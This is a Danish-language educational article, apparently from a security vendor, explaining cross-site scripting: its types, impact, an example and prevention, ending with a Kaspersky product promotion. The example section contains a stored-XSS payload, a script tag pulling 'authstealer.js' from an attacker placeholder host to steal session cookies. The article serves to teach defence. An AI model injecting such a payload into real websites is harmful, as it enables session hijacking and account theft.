Hvad er scripting på tværs af websteder?
Angreb med scripting på tværs af websteder – nogle gange kaldet XSS – indebærer injicering af ondsindet kode. Et angreb med scripting på tværs af websteder sker, når cyberkriminelle injicerer ondsindede scripts ind i det pågældende websteds indhold, som derefter bliver inkluderet i det dynamiske indhold, der leveres til offerets browser. Offerets browser kan ikke vide, at de ondsindede scripts er farlige, og eksekverer dem derfor.
Som følge heraf kan de ondsindede scripts få adgang til cookies, sessionstokens eller andre følsomme oplysninger, der opbevares af browseren og bruges på det pågældende websted. Angribere kan også bruge XSS til at sprede malware, omskrive indholdet på websteder, forårsage problemer på sociale netværk og fiske efter brugerlegitimationsoplysninger. XSS adskiller sig fra andre webangreb, idet det ikke er rettet direkte mod selve applikationen. I stedet er det brugerne af webapplikationen, som er i fare.
Sådan virker scripting på tværs af websteder
Scripting på tværs af websteder fungerer ved at manipulere et sårbart websted, så det returnerer ondsindede scripts til brugere. Ofte involverer dette JavaScript, men alle sprog på klientsiden kan bruges. Cyberkriminelle retter sig mod websteder med sårbare funktioner, der accepterer brugerinput – f.eks. søgefelter, kommentarfelter eller loginformularer. De kriminelle lægger deres ondsindede kode oven på det legitime websted og snyder dybest set browserne til at eksekvere malware, når webstedet er indlæst.
Da JavaScript kører i offerets browser, kan følsomme oplysninger om den godkendte bruger blive stjålet fra sessionen, hvilket gør det muligt for ondsindede aktører at ramme webstedsadministratorer og kompromittere websteder.
Afhængigt af, hvordan koden injiceres, befinder det ondsindede indhold sig måske ikke engang på selve websiden, men er snarere et forbigående element, der kun ser ud til at være en del af webstedet på udnyttelsestidspunktet. Dette kan skabe en illusion af, at det faktiske websted er kompromitteret, når det ikke er tilfældet.
Der er forskellige måder at udløse et XSS-angreb på. Eksekveringen kan f.eks. udløses automatisk, når siden indlæses, eller når en bruger holder musen henover bestemte sideelementer, f.eks. hyperlinks. I nogle tilfælde udføres XSS mere direkte, f.eks. i en e-mail. Nogle XSS-angreb har ikke et bestemt mål – angriberen bruger blot en sårbarhed i applikationen eller webstedet og udnytter alle, der er uheldige nok til at blive offer.
Afhængigt af omfanget af angrebet kan brugerkonti blive kompromitteret, trojanske heste kan aktiveres, eller sideindhold kan ændres og vildlede brugerne til at videregive deres private data. Sessionscookies kan blive afsløret, hvilket gør det muligt for en cyberkriminel at udgive sig for at være en legitim bruger og misbruge private konti.
Et vellykket angreb i forbindelse med scripting på tværs af websteder kan have ødelæggende konsekvenser for en onlinevirksomheds omdømme og dens forhold til kunderne. Desværre er de fejl, der muliggør et XSS-angreb, ret udbredte. XSS-angreb kan udnytte sårbarheder i forskellige programmeringsmiljøer, herunder VBScript, Flash, ActiveX og JavaScript. XSS er primært rettet mod JavaScript på grund af sprogets tætte integration med de fleste browsere. Denne evne til at udnytte almindeligt anvendte platforme gør XSS-angreb både farlige og udbredte.
Skaden fra et XSS-angreb
Ved at udnytte XSS-sårbarheder kan en angriber udføre en række ondsindede handlinger, f.eks. at:
- Omdirigere brugere til et ondsindet websted.
- Optage brugernes tastetryk.
- Opnå adgang til brugernes browserhistorik og indhold fra udklipsholderen.
- Køre webbrowserbaserede udnyttelser (f.eks. browsernedbrud).
- Indhente cookieoplysninger for en bruger, der er logget ind på et websted.
- Stjæle login-sessionstoken, hvilket gør det muligt for angriberen at interagere med applikationen i egenskab af offeret uden at kende dennes adgangskode.
- Tvinge brugeren til at sende forespørgsler, som angriberen kontrollerer, til en server.
- Ændre indholdet på en side.
- Narre offeret til at afsløre sin adgangskode til applikationen eller andre applikationer.
- Inficere offeret med anden ondsindet kode ved hjælp af en sårbarhed i selve webbrowseren og muligvis overtage offerets computer.
I nogle tilfælde kan et XSS-angreb føre til et fuldstændigt nedbrud af offerets konto. Cyberkriminelle kan narre brugere til at indtaste legitimationsoplysninger i en falsk formular, og dermed giver offeret alle oplysninger til den cyberkriminelle. Når den cyberkriminelle har fået brugerlegitimationsoplysningerne, kan vedkommende bruge dem til at begå identitetstyveri eller økonomisk svindel.
Typer af XSS-angreb
Scripting på tværs af websteder kan klassificeres i tre hovedkategorier –"lagret XSS,"reflekteret XSS og DOM-baseret XSS.
Lagret scripting på tværs af websteder (vedvarende XSS)
Lagret XSS – også kaldet vedvarende XSS – betragtes som den mest skadelige type XSS-angreb. Lagret XSS sker, når brugerleverede input gemmes og derefter gengives på en webside. Typiske indgangspunkter for lagret XSS omfatter meddelelsesfora, blogkommentarer, brugerprofiler og felter med brugernavne. En angriber udnytter typisk sårbarheden ved at injicere XSS-nyttelaster på populære sider på et websted eller sende et link til et offer og narre vedkommende til at se den side, der indeholder den gemte XSS-nyttelast. Offeret besøger siden, og nyttelasten eksekveres på klientsiden af offerets webbrowser.
Reflekteret scripting på tværs af websteder (ikke-vedvarende XSS)
Den mest almindelige type XSS kaldes reflekteret XSS (også kendt som ikke-vedvarende XSS). I dette tilfælde skal angriberens nyttelast være en del af den forespørgsel, der sendes til webserveren. Den reflekteres derefter tilbage på en sådan måde, at HTTP-svaret indeholder nyttelasten fra HTTP-forespørgslen. Angribere bruger ondsindede links, phishing-e-mails og andre metoder inden for social engineering til at narre offeret til at fremsætte en forespørgsel til serveren. Den reflekterede XSS-nyttelast eksekveres derefter i brugerens browser.
Reflekteret XSS er ikke et vedvarende angreb, så angriberen skal levere nyttelasten til hvert offer. Disse angreb foretages ofte ved hjælp af sociale netværk.
DOM-baseret scripting på tværs af websteder
DOM-baseret XSS henviser til en sårbarhed i forbindelse med scripting på tværs af websteder, der vises i DOM (Document Object Model) i stedet for en del af HTML-koden. I reflekterede og lagrede angreb i forbindelse med scripting på tværs af websteder kan du se sårbarhedsnyttelasten på svarsiden, men i DOM-baseret scripting på tværs af websteder vil angrebets HTML-kildekode og svar være den/det samme, dvs. at nyttelasten ikke kan findes i svaret. Den kan kun observeres på kørselstid eller ved at undersøge DOM på siden.
Et DOM-baseret XSS-angreb er ofte et angreb på klientsiden, og den ondsindede nyttelast sendes aldrig til serveren. Det gør det endnu mere vanskeligt at registrere for WAF'er (Web Application Firewalls) og for sikkerhedsteknikere, der analyserer serverlogfiler, fordi de aldrig ser angrebet. De DOM-objekter, der oftest manipuleres, omfatter URL-adressen (document.url), ankerdelen af URL-adressen (location.hash) og henviseren (document.referrer).
Eksempel på XSS-angreb
For eksempel: Mens du surfer på en webshop, identificerer en ondsindet aktør en sårbarhed, der gør det muligt at indlejre HTML-tags i webstedets kommentarafsnit. De integrerede tags bliver en permanent funktion på siden, hvilket får browseren til at inkludere dem med resten af kildekoden, hver gang siden åbnes.
Angriberen tilføjer en kommentar, f.eks.: Super godt produkt. Læs hele min anmeldelse her<script src=”http://attackersite.com/authstealer.js”> </script>.
Derefter aktiverer HTML-tagget i kommentaren en JavaScript-fil, der hostes på et andet websted, hver gang siden åbnes, og som kan stjæle den besøgendes sessionscookies.
Ved hjælp af sessionscookien kan angriberen kompromittere den besøgendes konto og få nem adgang til vedkommendes personlige oplysninger og økonomiske data. I mellemtiden er den besøgende, der måske ikke engang har rullet ned til kommentarfeltet, stadig uvidende om, at angrebet fandt sted.
I modsætning til et reflekteret angreb, hvor scriptet aktiveres, efter der er klikket på et link, kræver et lagret angreb kun, at offeret besøger den kompromitterede webside. Dette øger angrebets rækkevidde og bringer alle besøgende i fare, uanset hvor forsigtige de er.
Fra angriberens synspunkt er vedvarende XSS-angreb sværere at udføre på grund af vanskelighederne med at finde både et websted med trafik og et websted med sårbarheder, der muliggør permanent indlejring af scripts.
Forebyggelse af scripting på tværs af websteder
For at minimere sårbarheder i forbindelse med scripting på tværs af websteder bør webstedsudviklere/ejere gøre følgende:
- Sørge for, at enhver side på deres websted, der accepterer brugerinput, filtrerer kodeinput, såsom HTML og JavaScript.
- Scanne efter eventuelle sårbarheder i webprogrammer og få dem rettet i overensstemmelse hermed.
- Opdatere deres websteds- og serversoftware for at forhindre fremtidig udnyttelse af sårbarheder, der kan målrettes gennem et XSS-angreb.
For at undgå at blive offer for et XSS-angreb skal individuelle brugere:
- Deaktivere scripting på sider, hvor de ikke er nødvendige, eller deaktivere dem helt.
- Undgå at klikke på links fra mistænkelige e-mails eller indlæg på opslagstavler, da de kan føre til kompromitterede sider.
- Gå direkte til webstederne ved at indtaste URL-adressen i deres browser i stedet for via tredjepartskilde eller -link.
- Holde softwaren opdateret for at få de seneste fejlrettelser og sikkerhedsrettelser. Regelmæssig opdatering af software vil reducere de sårbarheder, der gør et websted eller et program sårbart for XSS-angreb, betydeligt.
- Gennemgå dine apps for at beslutte, hvilke der er nødvendige, og hvilke der sjældent anvendes. Når du fjerner de apps, du ikke bruger, reducerer du antallet af potentielle sårbarheder.
- Brug et antivirusprogram i høj kvalitet, f.eks. Kaspersky Total Security – det arbejder døgnet rundt for at sikre dine enheder og data. Det blokerer almindelige og komplekse trusler såsom virus, malware, ransomware, spionapps og alle de nyeste hackertricks.
Relaterede artikler: